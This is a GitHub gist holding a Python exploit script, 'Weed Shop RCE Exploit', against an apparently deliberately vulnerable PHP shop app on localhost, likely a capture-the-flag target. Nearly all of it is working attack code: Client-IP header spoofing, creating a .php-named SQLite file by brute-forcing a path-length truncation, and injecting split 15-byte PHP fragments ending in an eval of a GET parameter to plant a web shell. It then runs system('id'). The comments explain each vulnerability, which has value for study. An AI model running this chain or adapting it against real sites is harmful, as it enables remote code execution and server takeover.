Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active July 3, 2023 07:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save pich4ya/1251c79d6449a384e726a0577918c6db to your computer and use it in GitHub Desktop.
Save pich4ya/1251c79d6449a384e726a0577918c6db to your computer and use it in GitHub Desktop.
Weed Shop RCE Exploit
#!/usr/bin/env python
# @author Pichaya Morimoto (p.morimoto@sth.sh)
# 2023-03-07
# Weed Shop RCE Exploit
import requests
def create_dbfile(filename):
# Vulnerability 1: IP Spoofing
# File: function.php
# function get_ipaddress(){
# if (getenv('HTTP_CLIENT_IP')) return getenv('HTTP_CLIENT_IP');
# return getenv('REMOTE_ADDR');
# }
burp0_url = "http://127.0.0.1:7001/"
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Client-IP": filename, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
r =requests.get(burp0_url, headers=burp0_headers)
# PHPSESSID=
return r.headers['Set-Cookie'].split(';')[0].split('=')[1]
# print(PHPSESSID)
# gen aaa... file (a*100)
# Client-IP: a*100
char='a'
create_dbfile(char*100)
# Vulnerability 2: Arbitrary File Creation (Bypass .sql suffix)
# File: preparedb.php
# session_start();
# if(!isset($_SESSION['dbcon'])){
# $_SESSION['userip'] = get_ipaddress();
# $_SESSION['dbpath'] = dirname(__FILE__)."/db/";
# $_SESSION['dbfile'] = $_SESSION['dbpath'].$_SESSION['userip'].".sql";
#
# File: function.php
# function get_DBConnection(){
# /* db fullpath limit 100 chars */
# $dbfile = substr($_SESSION['dbfile'],0,100);
# $dbconn = new SQLite3($dbfile);
# return $dbconn;
# }
# Note:
# http://127.0.0.1:7001/db/(a*100)
# will not work b/c the max length 100 also includes prefix path like /var/www/html/
# so we need to find the exact offset for the total length of 100
# bruteforce from a*100 to a*1
offset=0
for i in range(100,0,-1):
a=char*i
# Vulnerability 3: Sensitive Information Disclosure (SQLite database file containing user credentials)
burp0_url = "http://127.0.0.1:7001/db/"+a
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers)
# if file exists
if r.status_code == 200:
print('found path at '+ burp0_url)
offset=i
break
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
print('offset', i)
# replace the last 4 a with .php
offset=offset-4
shell_filename=(char*offset)+'.php'
print(shell_filename)
# Create PHP Webshell with .php file extension
PHPSESSID = create_dbfile(shell_filename)
print(PHPSESSID)
# Vulnerability 4: Remote Code Execution (RCE)
# We can inject PHP code into our PHP Webshell by calling the loginlog() function during the login action
# File: login.php
# if($user && $pass){
# $data=authenticate($user,$pass);
# if(isset($data['userid'])){
# $_SESSION['userid'] = $data['userid'];
# $_SESSION['username'] = $data['user'];
# $_SESSION['role'] = $data['role'];
# $res = loginlog($_SESSION['userid'],get_ipaddress());
#
# However, it only gets the first 15 bytes from the HTTP header Client-IP
# File: function.php
# function loginlog($id,$userip){
# $db = get_DBConnection();
# $userip = substr($userip,0,15);
# $stmt = $db->prepare("INSERT INTO lastlogin (logid,userid,lastip) VALUES (NULL,:uid,:userip);");
# $stmt->bindValue(':uid', $id, SQLITE3_INTEGER);
# $stmt->bindValue(':userip', $userip, SQLITE3_TEXT);
# return $stmt->execute();
# }
#
# The challenge here is the SQLite database file structure also contains non-ASCII bytes
#
# There are plenty of options here for the hackers.
# My approach is to inject pieces of PHP code that are separated by comments like
# <junk bytes> <?php /* <junk bytes>
# <junk bytes> */ PHP-CODE-HERE /* <junk bytes>
# <junk bytes> */ PHP-CODE-HERE /* <junk bytes>
# <junk bytes> */ PHP-CODE-HERE /* <junk bytes>
# <junk bytes> */ ?> <junk bytes>
# First, we need to register in order to reach the loginlog() function
burp0_url = "http://127.0.0.1:7001/register.php"
burp0_cookies = { "PHPSESSID": PHPSESSID}
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1:7001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1:7001/register.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"username": "ggez", "password": "ggez"}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
# each payload has a max length of 15 bytes
exploit_payloads =[
'<?php /*', # length = 8
'*/$a=$_GET[0]/*', # length = 15
'*/;eval($a);/*', # length = 14
'*/?>' # length = 4
]
# However, by inspecting the content of the SQLite (open with a hex editor)
# The injected payload will be stored in a reversed order so we need to reverse it
exploit_payloads = list(reversed(exploit_payloads))
for payload in exploit_payloads:
burp0_url = "http://127.0.0.1:7001/login.php"
# Fix PHPSESSID for the PHP Webshell's SQLite database file
burp0_cookies = {"PHPSESSID": PHPSESSID}
# Put each payload into the PHP Webshell's SQLite database file
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "Client-IP": payload, "Origin": "http://127.0.0.1:7001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1:7001/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
# credential has to be valid
burp0_data = {"username": "ggez", "password": "ggez"}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
# Check our shell
os_command='id'
php_command=f'system("{os_command}");'
print(php_command)
burp0_url = f'http://127.0.0.1:7001/db/{shell_filename}?0={php_command}'
print(burp0_url)
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Not A(Brand\";v=\"24\", \"Chromium\";v=\"110\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
r=requests.get(burp0_url, headers=burp0_headers)
print(r.text)
# http://127.0.0.1:7001/db/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php?0=system(%22id%22);
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment